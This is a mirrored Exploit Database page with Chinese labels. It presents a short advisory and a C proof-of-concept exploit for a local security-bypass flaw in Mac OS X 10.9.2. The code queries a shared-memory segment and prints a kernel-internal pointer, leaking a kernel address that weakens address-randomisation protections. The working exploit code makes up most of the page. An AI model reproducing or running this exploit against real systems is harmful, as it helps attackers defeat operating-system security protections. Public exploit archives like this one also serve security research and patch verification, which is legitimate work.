Apple Mac OSX – Local Security Bypass

• Exploit Database
• 121 阅读

• 作者： Ian Beer
  日期： 2014-04-22
• 类别：

  • local
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39147/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  // source: https://www.securityfocus.com/bid/67023/info   Apple Mac OS X is prone to a local security-bypass vulnerability.   Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions.   Apple Mac OS X 10.9.2 is vulnerable; other versions may also be affected.   #include <stdio.h> #include <strings.h> #include <sys/shm.h>   int main(int argc, char *argv[]) { int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );   if (shm < 0) { printf("shmget: failed"); return 6; }   struct shmid_ds lolz;   int res = shmctl( shm, IPC_STAT, &lolz ); if (res < 0) { printf("shmctl: failed"); return 1; }   printf( "%p\n", lolz.shm_internal );   }